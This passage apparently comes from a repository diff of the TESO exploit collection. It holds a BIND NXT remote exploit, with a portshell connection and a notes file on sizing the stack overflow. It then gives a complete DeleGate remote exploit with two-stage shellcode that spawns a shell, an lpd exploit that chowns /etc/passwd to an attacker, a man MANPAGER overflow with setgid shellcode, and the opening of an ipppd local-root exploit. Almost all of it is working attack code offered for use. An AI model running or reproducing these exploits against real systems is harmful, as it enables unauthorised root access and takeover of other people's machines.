| 270 | |||
| 271 | void | ||
| 272 | parse_opts (int argc, char **argv, struct in_addr *victim) | ||
| 273 | { | ||
| 274 | char *argv0, | ||
| 275 | d; | ||
| 276 | int arch; | ||
| 277 | c0de *c0de_ptr; | ||
| 278 | |||
| 279 | argv0 = strdup (argv[0]); | ||
| 280 | |||
| 281 | while ((d = getopt (argc, argv, "s:t:")) != -1) { | ||
| 282 | switch (d) { | ||
| 283 | case 's': | ||
| 284 | shellcode_type = atol (optarg); | ||
| 285 | if (shellcode_type >= TYPE_MAX) { | ||
| 286 | fprintf (stderr, "shellcode out of range\n"); | ||
| 287 | exit (-1); | ||
| 288 | } | ||
| 289 | break; | ||
| 290 | case 't': | ||
| 291 | victim_type = atol (optarg); | ||
| 292 | if (victim_type >= type_cnt) { | ||
| 293 | fprintf (stderr, "No such type\n"); | ||
| 294 | exit (-1); | ||
| 295 | } | ||
| 296 | break; | ||
| 297 | } | ||
| 298 | } | ||
| 299 | |||
| 300 | arch = types[victim_type].arch; | ||
| 301 | c0de_ptr = archs[arch]; | ||
| 302 | |||
| 303 | if (c0de_ptr[shellcode_type].code == NULL) { | ||
| 304 | printf ("No %s for arch %s :(\n", | ||
| 305 | code_str[shellcode_type], archs_str[arch]); | ||
| 306 | exit (-1); | ||
| 307 | } | ||
| 308 | |||
| 309 | argc -= optind; | ||
| 310 | argv += optind; | ||
| 311 | |||
| 312 | if (argc < 2) | ||
| 313 | usage (argv0); | ||
| 314 | |||
| 315 | if (!resolv (argv[0], victim)) { | ||
| 316 | herror ("resolv"); | ||
| 317 | exit (-1); | ||
| 318 | } | ||
| 319 | |||
| 320 | ourdomain = strdup (argv[1]); | ||
| 321 | return; | ||
| 322 | } | ||
| 323 | |||
| 324 | int | ||
| 325 | main (int argc, char **argv) | ||
| 326 | { | ||
| 327 | struct in_addr victim; | ||
| 328 | int fd; | ||
| 329 | |||
| 330 | puts ("NXT exploit by z-\n"); | ||
| 331 | |||
| 332 | parse_opts (argc, argv, &victim); | ||
| 333 | |||
| 334 | printf ("using type %d - %s\n", victim_type, types[victim_type].name); | ||
| 335 | printf ("exploit arch %s\n", archs_str[types[victim_type].arch]); | ||
| 336 | printf ("using %s\n", code_str[shellcode_type]); | ||
| 337 | |||
| 338 | if ((fd = wait_for_connection (victim)) < 0) { | ||
| 339 | perror("ERROR"); | ||
| 340 | return (-1); | ||
| 341 | } | ||
| 342 | if (shellcode_type == PORTSHELL) { | ||
| 343 | close (fd); /* get rid of domain connection */ | ||
| 344 | printf("Sleeping for %d seconds\n", SLEEP); | ||
| 345 | sleep (SLEEP); | ||
| 346 | |||
| 347 | /* and get the portshell connection */ | ||
| 348 | if ((fd = connect_portshell (victim)) < 0) { | ||
| 349 | perror ("connect_portshell"); | ||
| 350 | return (-1); | ||
| 351 | } | ||
| 352 | } | ||
| 353 | |||
| 354 | if (run_shell (fd) < 0) { | ||
| 355 | perror ("connect_shell"); | ||
| 356 | return (-1); | ||
| 357 | } | ||
| 358 | |||
| 359 | return (0); | ||
| 360 | } | ||
| 361 | |||
| 362 | /* connects 'fd' to your term, effectively. | ||
| 363 | */ | ||
| 364 | int | ||
| 365 | run_shell (int fd) | ||
| 366 | { | ||
| 367 | fd_set rset; | ||
| 368 | int n; | ||
| 369 | char buffer[4096]; | ||
| 370 | |||
| 371 | send (fd, "/bin/uname -a\n", 14, 0); | ||
| 372 | |||
| 373 | for (;;) { | ||
| 374 | FD_ZERO (&rset); | ||
| 375 | FD_SET (fd, &rset); | ||
| 376 | FD_SET (STDIN_FILENO, &rset); | ||
| 377 | |||
| 378 | n = select (fd + 1, &rset, NULL, NULL, NULL); | ||
| 379 | if (n <= 0) | ||
| 380 | return (-1); | ||
| 381 | |||
| 382 | if (FD_ISSET (fd, &rset)) { | ||
| 383 | n = recv (fd, buffer, sizeof (buffer), 0); | ||
| 384 | if (n <= 0) | ||
| 385 | break; | ||
| 386 | |||
| 387 | write (STDOUT_FILENO, buffer, n); | ||
| 388 | } | ||
| 389 | |||
| 390 | if (FD_ISSET (STDIN_FILENO, &rset)) { | ||
| 391 | n = read (STDIN_FILENO, buffer, sizeof (buffer)); | ||
| 392 | if (n <= 0) | ||
| 393 | break; | ||
| 394 | |||
| 395 | send (fd, buffer, n, 0); | ||
| 396 | } | ||
| 397 | } | ||
| 398 | return (0); | ||
| 399 | } | ||
| 400 | |||
| 401 | /* connect to the relevant high port. | ||
| 402 | */ | ||
| 403 | int | ||
| 404 | connect_portshell (struct in_addr ip) | ||
| 405 | { | ||
| 406 | int fd; | ||
| 407 | struct sockaddr_in sin; | ||
| 408 | |||
| 409 | printf ("Trying to connect to root shell...\n"); | ||
| 410 | |||
| 411 | fd = socket (AF_INET, SOCK_STREAM, 0); | ||
| 412 | if (fd < 0) | ||
| 413 | return (-1); | ||
| 414 | |||
| 415 | bzero (&sin, sizeof (sin)); | ||
| 416 | sin.sin_addr.s_addr = ip.s_addr; | ||
| 417 | sin.sin_port = htons (CODE_PORT); | ||
| 418 | sin.sin_family = AF_INET; | ||
| 419 | |||
| 420 | if (connect (fd, (SA *)&sin, sizeof (sin)) < 0) | ||
| 421 | return (-1); | ||
| 422 | |||
| 423 | return (fd); | ||
| 424 | } | ||
| 425 | |||
| 426 | int | ||
| 427 | resolv (char *hostname, struct in_addr *ip) | ||
| 428 | { | ||
| 429 | struct hostent *res; | ||
| 430 | |||
| 431 | if (inet_aton (hostname, ip)) | ||
| 432 | return (1); | ||
| 433 | |||
| 434 | res = gethostbyname (hostname); | ||
| 435 | if (res == NULL) | ||
| 436 | return (0); | ||
| 437 | |||
| 438 | memcpy (ip, res->h_addr, sizeof (struct in_addr)); | ||
| 439 | return (1); | ||
| 440 | } | ||
| 441 | |||
| 442 | void | ||
| 443 | usage (char *prog) | ||
| 444 | { | ||
| 445 | type *ptr; | ||
| 446 | int ctr = 0; | ||
| 447 | |||
| 448 | fprintf (stderr, "usage: %s <victim> <ur domain> [-t type] [-s shellcode type]\n", prog); | ||
| 449 | for (ptr = types; ptr->name; ptr += 1, ctr++) { | ||
| 450 | printf ("type %d: %s\n", ctr, ptr->name); | ||
| 451 | } | ||
| 452 | printf ("shellcode 0: portshell code\n"); | ||
| 453 | printf ("shellcode 1: peername code\n"); | ||
| 454 | exit(-1); | ||
| 455 | } | ||
| 456 | |||
| 457 | void | ||
| 458 | pfatal (char *s) | ||
| 459 | { | ||
| 460 | perror (s); | ||
| 461 | exit(-1); | ||
| 462 | } | ||
diff --git a/exploits/7350bindnxt/vulninfo b/exploits/7350bindnxt/vulninfo new file mode 100644 index 0000000..ce794e4 --- /dev/null +++ b/exploits/7350bindnxt/vulninfo | |||
| @@ -0,0 +1,53 @@ | |||
| 1 | --here is the offending code | ||
| 2 | |||
| 3 | n = dn_expand(msg, eom, cp, (char *)data, sizeof data); | ||
| 4 | if (n < 0) { | ||
| 5 | hp->rcode = FORMERR; | ||
| 6 | return (-1); | ||
| 7 | } | ||
| 8 | if (!ns_nameok((char *)data, class, NULL, response_trans, | ||
| 9 | domain_ctx, dname, from.sin_addr)) { | ||
| 10 | hp->rcode = FORMERR; | ||
| 11 | return (-1); | ||
| 12 | } | ||
| 13 | cp += n; | ||
| 14 | cp1 = data + strlen((char *)data) + 1; | ||
| 15 | memcpy(cp1, cp, dlen - n); | ||
| 16 | |||
| 17 | -- | ||
| 18 | |||
| 19 | This implys three things. | ||
| 20 | |||
| 21 | firstly the format of the rdata section - it is important that u form this | ||
| 22 | correctly. in this case it is quite simple, a DNS domain name followed by | ||
| 23 | any arbitrary data :) Yes, even nulls ;) | ||
| 24 | |||
| 25 | secondly the buffer will already contain the data from the DNS domain | ||
| 26 | name from the first part of the rdata section, and the arbitrary data | ||
| 27 | appends this data, hence u must take account of this when calculating the | ||
| 28 | ret distance. | ||
| 29 | |||
| 30 | thirdly its just an ordinary stack overflow ('data' isn't declared | ||
| 31 | static), so it should be easy enough to exploit. | ||
| 32 | |||
| 33 | the buffer in this case is of size MAXDATA*2 which, if u follow the macros, | ||
| 34 | evaluates to 4140 bytes. There are 12 other temporary variables in the | ||
| 35 | stack, each of size 4 bytes so, making no assumptions about how the | ||
| 36 | compiler decides to arrange them on the stack, u must send approx 14 | ||
| 37 | return addresses after the shellcode. note the buffer is fuqn huge so you | ||
| 38 | should have virtually no problems with the offset =) | ||
| 39 | |||
| 40 | So if you use a DNS domain name of length 6 (e.g. \006smiler\000 =) | ||
| 41 | since it starts at 'data + strlen (data) + 1' then u need to put 4140 - 7 | ||
| 42 | = 4133 bytes in the buffer to start overflowing and u need to follow that | ||
| 43 | with 14 ret addresses (56 bytes). In total that comes to 4190 bytes =) | ||
| 44 | |||
| 45 | I haven't checked this out, but apparently u need to send this | ||
| 46 | data via tcp, because BIND refuses to read more than 512 bytes from a udp | ||
| 47 | packet, even if u fragment to allow it to be bigger than the MTU | ||
| 48 | (I managed to do this before, with an rpc call, to exploit rpc.mountd - | ||
| 49 | albeit only ~1100 bytes). | ||
| 50 | |||
| 51 | |||
| 52 | -smiler | ||
| 53 | |||
diff --git a/exploits/7350delefate/delefate.c b/exploits/7350delefate/delefate.c new file mode 100644 index 0000000..716d155 --- /dev/null +++ b/exploits/7350delefate/delefate.c | |||
| @@ -0,0 +1,325 @@ | |||
| 1 | /* delefate.c | ||
| 2 | * delegate 5.9.x - 6.0.x remote exploit | ||
| 3 | * | ||
| 4 | * public | ||
| 5 | * | ||
| 6 | * will open a shell with the privileges of the nobody user. | ||
| 7 | * | ||
| 8 | * 1999/13/11 by scut of teso [http://teso.scene.at/] | ||
| 9 | * | ||
| 10 | * word to whole team teso, ADM, w00w00, beavuh and stealth :). | ||
| 11 | * special thanks to xdr for donating a bit of his elite debugging skillz. | ||
| 12 | */ | ||
| 13 | |||
| 14 | #include <sys/types.h> | ||
| 15 | #include <sys/time.h> | ||
| 16 | #include <sys/socket.h> | ||
| 17 | #include <netinet/in.h> | ||
| 18 | #include <arpa/inet.h> | ||
| 19 | #include <unistd.h> | ||
| 20 | #include <errno.h> | ||
| 21 | #include <stdlib.h> | ||
| 22 | #include <stdio.h> | ||
| 23 | #include <string.h> | ||
| 24 | #include <fcntl.h> | ||
| 25 | #include <netdb.h> | ||
| 26 | |||
| 27 | |||
| 28 | #define XP_OFFSET 0xbfffe074 /* offset */ | ||
| 29 | unsigned long int xp_off = XP_OFFSET; | ||
| 30 | |||
| 31 | /* you don't have to modify this :) i hope :) | ||
| 32 | */ | ||
| 33 | #define XP_NETWORK_FD 12 | ||
| 34 | #define XP_NETWORK_OFFSET 0x00000101 /* fixed relative network socket offset */ | ||
| 35 | #define XP_SHELLCODE_OFFSET 0x00000104 /* fixed relative retaddr offset */ | ||
| 36 | #define XP_DIFF 0x0000000e /* 14 bytes after XP_OFFSET starts the shellcode */ | ||
| 37 | |||
| 38 | #define XP_SH2_FD1 0x00000011 | ||
| 39 | #define XP_SH2_FD2 0x0000001d | ||
| 40 | #define XP_SH2_FD3 0x0000002a | ||
| 41 | |||
| 42 | |||
| 43 | #define GREEN "\E[32m" | ||
| 44 | #define BOLD "\E[1m" | ||
| 45 | #define NORMAL "\E[m" | ||
| 46 | #define RED "\E[31m" | ||
| 47 | |||
| 48 | /* local functions | ||
| 49 | */ | ||
| 50 | void usage (void); | ||
| 51 | void shell (int socket); | ||
| 52 | unsigned long int net_resolve (char *host); | ||
| 53 | int net_connect (struct sockaddr_in *cs, char *server, | ||
| 54 | unsigned short int port, int sec); | ||
| 55 | |||
| 56 | |||
| 57 | /* because the buffer is rather small (256 bytes), we use a minimalistic | ||
| 58 | * read() shellcode to increase the chances to hit a correct offet | ||
| 59 | */ | ||
| 60 | unsigned char shellcode1[] = | ||
| 61 | "\x77\x68\x6f\x69\x73\x3a\x2f\x2f\x61\x20\x62\x20\x31\x20\x90\x90" | ||
| 62 | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | ||
| 63 | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | ||
| 64 | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | ||
| 65 | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | ||
| 66 | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | ||
| 67 | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | ||
| 68 | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | ||
| 69 | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | ||
| 70 | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | ||
| 71 | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | ||
| 72 | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | ||
| 73 | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | ||
| 74 | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | ||
| 75 | "\x90\x90\x90\x90\x90\x90" | ||
| 76 | |||
| 77 | /* 30 byte read() shellcode by scut */ | ||
| 78 | "\x33\xd2\x33\xc0\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x80\xc2" | ||
| 79 | "\x10\x03\xca\xc1\xc2\x04\xb0\x03\x33\xdb\xb3\x0c\xcd\x80" | ||
| 80 | /* ^^ network fd */ | ||
| 81 | "\x82\xe0\xff\xbf" /* return address */ | ||
| 82 | |||
| 83 | "\x0d\x0a"; | ||
| 84 | |||
| 85 | |||
| 86 | /* uid+chroot-break+shell shellcode by lamerz, thanks ! | ||
| 87 | * slightly modified by scut to take care of the network socket | ||
| 88 | */ | ||
| 89 | unsigned char shellcode2[]= | ||
| 90 | "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb\x89\xd9" | ||
| 91 | "\xb3\x0c\xb0\x3f\xcd\x80\x31\xc0\x31\xdb\x89\xd9\xb3\x0c\x41\xb0" | ||
| 92 | "\x3f\xcd\x80\x31\xc0\x31\xdb\x89\xd9\xb3\x0c\x41\x41\xb0\x3f\xcd" | ||
| 93 | "\x80\x31\xc0\x31\xdb\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e" | ||
| 94 | "\x31\xc0\x31\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01\xb0\x27" | ||
| 95 | "\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb\x8d" | ||
| 96 | "\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e\x08\xb0\x0c" | ||
| 97 | "\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09\x8d\x5e\x08\xb0\x3d" | ||
| 98 | "\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46\x07" | ||
| 99 | "\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b" | ||
| 100 | "\xcd\x80\x31\xc0\x31\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\x30" | ||
| 101 | "\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x6e\x67"; | ||
| 102 | |||
| 103 | |||
| 104 | void | ||
| 105 | usage (void) | ||
| 106 | { | ||
| 107 | printf (GREEN BOLD "delefate - delegate 5.9.x, 6.0.x remote" NORMAL "\n" | ||
| 108 | "by " BOLD "scut" NORMAL " of " RED BOLD "team teso" NORMAL "\n\n" | ||
| 109 | |||
| 110 | "usage.... : ./delefate <host> <port> [offset-add]\n" | ||
| 111 | "example.. : ./delefate localhost 8080 -100\n\n" | ||
| 112 | "for brute forcing, try from -2000 to 500 in steps of 200\n\n"); | ||
| 113 | |||
| 114 | exit (EXIT_FAILURE); | ||
| 115 | } | ||
| 116 | |||
| 117 | int | ||
| 118 | main (int argc, char **argv) | ||
| 119 | { | ||
| 120 | int socket; | ||
| 121 | char *server; | ||
| 122 | struct sockaddr_in sa; | ||
| 123 | unsigned short int port_dest; | ||
| 124 | unsigned char *retaddr_ptr; | ||
| 125 | unsigned long int offset; | ||
| 126 | unsigned char *stack = NULL; | ||
| 127 | |||
| 128 | if (argc < 3) | ||
| 129 | usage (); | ||
| 130 | |||
| 131 | printf (GREEN BOLD "delefate 5.9.x - 6.0.x remote exploit" NORMAL "\n" | ||
| 132 | "by " BOLD "scut" NORMAL " of " RED BOLD "team teso" NORMAL "\n\n"); | ||
| 133 | |||
| 134 | if (argc == 4) { | ||
| 135 | long int xp_add = 0; | ||
| 136 | |||
| 137 | if (sscanf (argv[3], "%ld", &xp_add) != 1) { | ||
| 138 | usage (); | ||
| 139 | } | ||
| 140 | xp_off += xp_add; | ||
| 141 | } | ||
| 142 | printf (" " GREEN "-" NORMAL " using offset 0x%08x\n", xp_off); | ||
| 143 | |||
| 144 | server = argv[1]; | ||
| 145 | port_dest = atoi (argv[2]); | ||
| 146 | |||
| 147 | /* do the offset | ||
| 148 | */ | ||
| 149 | retaddr_ptr = shellcode1 + XP_SHELLCODE_OFFSET; | ||
| 150 | offset = xp_off + XP_DIFF; | ||
| 151 | *retaddr_ptr = (offset & 0x000000ff) >> 0; | ||
| 152 | *(retaddr_ptr + 1) = (offset & 0x0000ff00) >> 8; | ||
| 153 | *(retaddr_ptr + 2) = (offset & 0x00ff0000) >> 16; | ||
| 154 | *(retaddr_ptr + 3) = (offset & 0xff000000) >> 24; | ||
| 155 | *(shellcode1 + XP_NETWORK_OFFSET) = (unsigned char) XP_NETWORK_FD; | ||
| 156 | *(shellcode2 + XP_SH2_FD1) = (unsigned char) XP_NETWORK_FD; | ||
| 157 | *(shellcode2 + XP_SH2_FD2) = (unsigned char) XP_NETWORK_FD; | ||
| 158 | *(shellcode2 + XP_SH2_FD3) = (unsigned char) XP_NETWORK_FD; | ||
| 159 | |||
| 160 | printf (" " GREEN "-" NORMAL " connecting to " GREEN "%s:%hu" NORMAL "...", server, port_dest); | ||
| 161 | fflush (stdout); | ||
| 162 | |||
| 163 | socket = net_connect (&sa, server, port_dest, 45); | ||
| 164 | if (socket <= 0) { | ||
| 165 | printf (" " RED BOLD "failed" NORMAL ".\n"); | ||
| 166 | perror ("net_connect"); | ||
| 167 | exit (EXIT_FAILURE); | ||
| 168 | } | ||
| 169 | printf (" " GREEN BOLD "connected." NORMAL "\n"); | ||
| 170 | |||
| 171 | /* send minimalistic read() shellcode */ | ||
| 172 | printf (" " GREEN "-" NORMAL " sending first shellcode...\n"); | ||
| 173 | write (socket, shellcode1, strlen (shellcode1)); | ||
| 174 | sleep (1); | ||
| 175 | |||
| 176 | /* now send the real shellcode :-) */ | ||
| 177 | printf (" " GREEN "-" NORMAL " sending second shellcode...\n"); | ||
| 178 | write (socket, shellcode2, strlen (shellcode2)); | ||
| 179 | |||
| 180 | printf (" " GREEN "-" NORMAL " spawning shell...\n\n"); | ||
| 181 | shell (socket); | ||
| 182 | close (socket); | ||
| 183 | |||
| 184 | |||
| 185 | exit (EXIT_SUCCESS); | ||
| 186 | } | ||
| 187 | |||
| 188 | unsigned long int | ||
| 189 | net_resolve (char *host) | ||
| 190 | { | ||
| 191 | long i; | ||
| 192 | struct hostent *he; | ||
| 193 | |||
| 194 | i = inet_addr (host); | ||
| 195 | if (i == -1) { | ||
| 196 | he = gethostbyname (host); | ||
| 197 | if (he == NULL) { | ||
| 198 | return (0); | ||
| 199 | } else { | ||
| 200 | return (*(unsigned long *) he->h_addr); | ||
| 201 | } | ||
| 202 | } | ||
| 203 | |||
| 204 | return (i); | ||
| 205 | } | ||
| 206 | |||
| 207 | |||
| 208 | /* original version by typo, modified by scut | ||
| 209 | */ | ||
| 210 | |||
| 211 | void | ||
| 212 | shell (int socket) | ||
| 213 | { | ||
| 214 | char io_buf[1024]; | ||
| 215 | int n; | ||
| 216 | fd_set fds; | ||
| 217 | |||
| 218 | while (1) { | ||
| 219 | FD_SET (0, &fds); | ||
| 220 | FD_SET (socket, &fds); | ||
| 221 | |||
| 222 | select (socket + 1, &fds, NULL, NULL, NULL); | ||
| 223 | if (FD_ISSET (0, &fds)) { | ||
| 224 | n = read (0, io_buf, sizeof (io_buf)); | ||
| 225 | if (n <= 0) | ||
| 226 | return; | ||
| 227 | write (socket, io_buf, n); | ||
| 228 | } | ||
| 229 | |||
| 230 | if (FD_ISSET (socket, &fds)) { | ||
| 231 | n = read (socket, io_buf, sizeof (io_buf)); | ||
| 232 | if (n <= 0) | ||
| 233 | return; | ||
| 234 | write (1, io_buf, n); | ||
| 235 | } | ||
| 236 | } | ||
| 237 | } | ||
| 238 | |||
| 239 | |||
| 240 | int | ||
| 241 | net_connect (struct sockaddr_in *cs, char *server, | ||
| 242 | unsigned short int port, int sec) | ||
| 243 | { | ||
| 244 | int n, len, error, flags; | ||
| 245 | int fd; | ||
| 246 | struct timeval tv; | ||
| 247 | fd_set rset, wset; | ||
| 248 | |||
| 249 | /* first allocate a socket */ | ||
| 250 | cs->sin_family = AF_INET; | ||
| 251 | cs->sin_port = htons (port); | ||
| 252 | fd = socket (cs->sin_family, SOCK_STREAM, 0); | ||
| 253 | if (fd == -1) | ||
| 254 | return (-1); | ||
| 255 | |||
| 256 | cs->sin_addr.s_addr = net_resolve (server); | ||
| 257 | if (cs->sin_addr.s_addr == 0) { | ||
| 258 | close (fd); | ||
| 259 | return (-1); | ||
| 260 | } | ||
| 261 | |||
| 262 | flags = fcntl (fd, F_GETFL, 0); | ||
| 263 | if (flags == -1) { | ||
| 264 | close (fd); | ||
| 265 | return (-1); | ||
| 266 | } | ||
| 267 | n = fcntl (fd, F_SETFL, flags | O_NONBLOCK); | ||
| 268 | if (n == -1) { | ||
| 269 | close (fd); | ||
| 270 | return (-1); | ||
| 271 | } | ||
| 272 | |||
| 273 | error = 0; | ||
| 274 | |||
| 275 | n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in)); | ||
| 276 | if (n < 0) { | ||
| 277 | if (errno != EINPROGRESS) { | ||
| 278 | close (fd); | ||
| 279 | return (-1); | ||
| 280 | } | ||
| 281 | } | ||
| 282 | if (n == 0) | ||
| 283 | goto done; | ||
| 284 | |||
| 285 | FD_ZERO(&rset); | ||
| 286 | FD_ZERO(&wset); | ||
| 287 | FD_SET(fd, &rset); | ||
| 288 | FD_SET(fd, &wset); | ||
| 289 | tv.tv_sec = sec; | ||
| 290 | tv.tv_usec = 0; | ||
| 291 | |||
| 292 | n = select(fd + 1, &rset, &wset, NULL, &tv); | ||
| 293 | if (n == 0) { | ||
| 294 | close(fd); | ||
| 295 | errno = ETIMEDOUT; | ||
| 296 | return (-1); | ||
| 297 | } | ||
| 298 | if (n == -1) | ||
| 299 | return (-1); | ||
| 300 | |||
| 301 | if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) { | ||
| 302 | if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) { | ||
| 303 | len = sizeof(error); | ||
| 304 | if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) { | ||
| 305 | errno = ETIMEDOUT; | ||
| 306 | return (-1); | ||
| 307 | } | ||
| 308 | if (error == 0) { | ||
| 309 | goto done; | ||
| 310 | } else { | ||
| 311 | errno = error; | ||
| 312 | return (-1); | ||
| 313 | } | ||
| 314 | } | ||
| 315 | } else | ||
| 316 | return (-1); | ||
| 317 | |||
| 318 | done: | ||
| 319 | n = fcntl(fd, F_SETFL, flags); | ||
| 320 | if (n == -1) | ||
| 321 | return (-1); | ||
| 322 | |||
| 323 | return (fd); | ||
| 324 | } | ||
| 325 | |||
diff --git a/exploits/7350lapsus/7350lapsus.pl b/exploits/7350lapsus/7350lapsus.pl new file mode 100644 index 0000000..cad1ae0 --- /dev/null +++ b/exploits/7350lapsus/7350lapsus.pl | |||
| @@ -0,0 +1,65 @@ | |||
| 1 | #!/usr/bin/perl -w | ||
| 2 | |||
| 3 | # 7350lapsus | ||
| 4 | # | ||
| 5 | # lpr-3.0.48 Local root exploit. | ||
| 6 | # requires root on a host counted in | ||
| 7 | # hosts.lpd and local account on lpd box. | ||
| 8 | # This is proof of concept, chown()ing /etc/passwd | ||
| 9 | # to a user named 'stealth'. | ||
| 10 | # | ||
| 11 | # (C) COPYRIGHT TESO Security, 2001 | ||
| 12 | # All Rights Reserved | ||
| 13 | # | ||
| 14 | # May be used under the terms of the GPL. | ||
| 15 | # | ||
| 16 | |||
| 17 | use IO::Socket; | ||
| 18 | |||
| 19 | sub recvack | ||
| 20 | { | ||
| 21 | my $ack; | ||
| 22 | $_[0]->recv($ack, 1); | ||
| 23 | if ($ack ne "\0") { | ||
| 24 | print "Some ACK-error occured.\n"; | ||
| 25 | exit; | ||
| 26 | } | ||
| 27 | } | ||
| 28 | |||
| 29 | $rem = shift; | ||
| 30 | if (!defined($rem)) { | ||
| 31 | print "$0 <hostname>\n"; exit; | ||
| 32 | } | ||
| 33 | |||
| 34 | # Open connection | ||
| 35 | for ($i = 721; $i <= 731 && !defined $peer; ++$i) { | ||
| 36 | $peer = IO::Socket::INET->new(PeerAddr => $rem, | ||
| 37 | PeerPort => 515, | ||
| 38 | LocalPort => $i, | ||
| 39 | Proto => "tcp", | ||
| 40 | Type => SOCK_STREAM); | ||
| 41 | } | ||
| 42 | |||
| 43 | die "$!" if (!defined($peer)); | ||
| 44 | |||
| 45 | print "Bound to port $i\n"; | ||
| 46 | |||
| 47 | print $peer "\2lp\n"; | ||
| 48 | recvack($peer); | ||
| 49 | |||
| 50 | $payload = "Pstealth\na/etc/passwd\n"; | ||
| 51 | $l = length($payload); | ||
| 52 | |||
| 53 | # First bug in lpd: allows to create files in / | ||
| 54 | # with length up to 5 chars | ||
| 55 | print $peer "\x02$l /foo\n"; | ||
| 56 | recvack($peer); | ||
| 57 | |||
| 58 | # This one is incredible. it trusts controlfiles | ||
| 59 | # input to chown ANY file on system to user. | ||
| 60 | print $peer $payload; | ||
| 61 | print $peer "\0"; | ||
| 62 | recvack($peer); | ||
| 63 | |||
| 64 | close $peer; | ||
| 65 | |||
diff --git a/exploits/7350man/7350man.c b/exploits/7350man/7350man.c new file mode 100644 index 0000000..eaa0377 --- /dev/null +++ b/exploits/7350man/7350man.c | |||
| @@ -0,0 +1,36 @@ | |||
| 1 | #include <stdio.h> | ||
| 2 | #include <stdlib.h> | ||
| 3 | #include <string.h> | ||
| 4 | #include <unistd.h> | ||
| 5 | |||
| 6 | #define OFFSET 0xbfffb32e | ||
| 7 | #define LEN 4061 | ||
| 8 | |||
| 9 | #define GID "15" /* man::15: on rh6.1 */ | ||
| 10 | |||
| 11 | unsigned char shellcode[] = | ||
| 12 | "\x31\xc0\x31\xdb\x31\xc9\xb3"GID"\xb1"GID"\xb0\x47\xcd\x80\xeb\x1e" | ||
| 13 | "\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b\x08\x8d\x53" | ||
| 14 | "\x0c\xb0\x0b\xcd\x80\x89\xc3\x31\xc0\xb0\x01\xcd\x80\xe8\xdd\xff\xff" | ||
| 15 | "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x74\x65\x73\x6f\x63\x72\x65\x77\x21" | ||
| 16 | "\x21"; | ||
| 17 | |||
| 18 | /* man sploit by typo/teso (typo@inferno.tusculum.edu) */ | ||
| 19 | int main(int argc, char *argv[]) | ||
| 20 | { | ||
| 21 | int offset = argc > 1 ? atoi(argv[1]) + OFFSET : OFFSET; | ||
| 22 | int eob = argc > 2 ? atoi(argv[2]) : LEN; | ||
| 23 | char *buffer; | ||
| 24 | |||
| 25 | printf("eob = %d, offset = 0x%x\n", eob, offset); | ||
| 26 | buffer = malloc(eob+8); | ||
| 27 | |||
| 28 | memset(buffer, 0x90, eob); | ||
| 29 | memcpy(buffer + eob - strlen(shellcode) - 8, shellcode, strlen(shellcode)); | ||
| 30 | memcpy(buffer + eob - 4, &offset, 4); | ||
| 31 | buffer[eob] = '\0'; | ||
| 32 | |||
| 33 | setenv("MANPAGER", buffer, 1); | ||
| 34 | execlp("man", "man", "man", NULL); | ||
| 35 | } | ||
| 36 | |||
diff --git a/exploits/7350pippi/7350pippi.pl b/exploits/7350pippi/7350pippi.pl new file mode 100644 index 0000000..ec8f142 --- /dev/null +++ b/exploits/7350pippi/7350pippi.pl | |||
| @@ -0,0 +1,97 @@ | |||
| 1 | #!/usr/bin/perl | ||
| 2 | |||
| 3 | # 7350pippi - x86/Linux ipppd local root | ||
| 4 | # | ||
| 5 | # (C) COPYRIGHT TESO Security, 2002 | ||
| 6 | # All Rights Reserved | ||
| 7 | # | ||
| 8 | # May be used under the terms of the GPL. | ||
| 9 | |||
| 10 | # ipppd local root exploit: | ||
| 11 | # ... | ||
| 12 | # /* | ||
| 13 | # * Check if there is a device by this name. | ||
| 14 | # */ | ||
| 15 | # if (stat(cp, &statbuf) < 0) { | ||
| 16 | # if (errno == ENOENT) | ||
| 17 | # return 0; | ||
| 18 | # syslog(LOG_ERR, cp); | ||
| 19 | # return -1; | ||
| 20 | # } | ||
| 21 | # ... | ||
| 22 | # | ||
| 23 | # This exploit changes the address of syslog in ipppd's | ||
| 24 | # GOT. Since it returns -1 as seen above, ipppd will invoke | ||
| 25 | # syslog() a second time soon this time using the address | ||
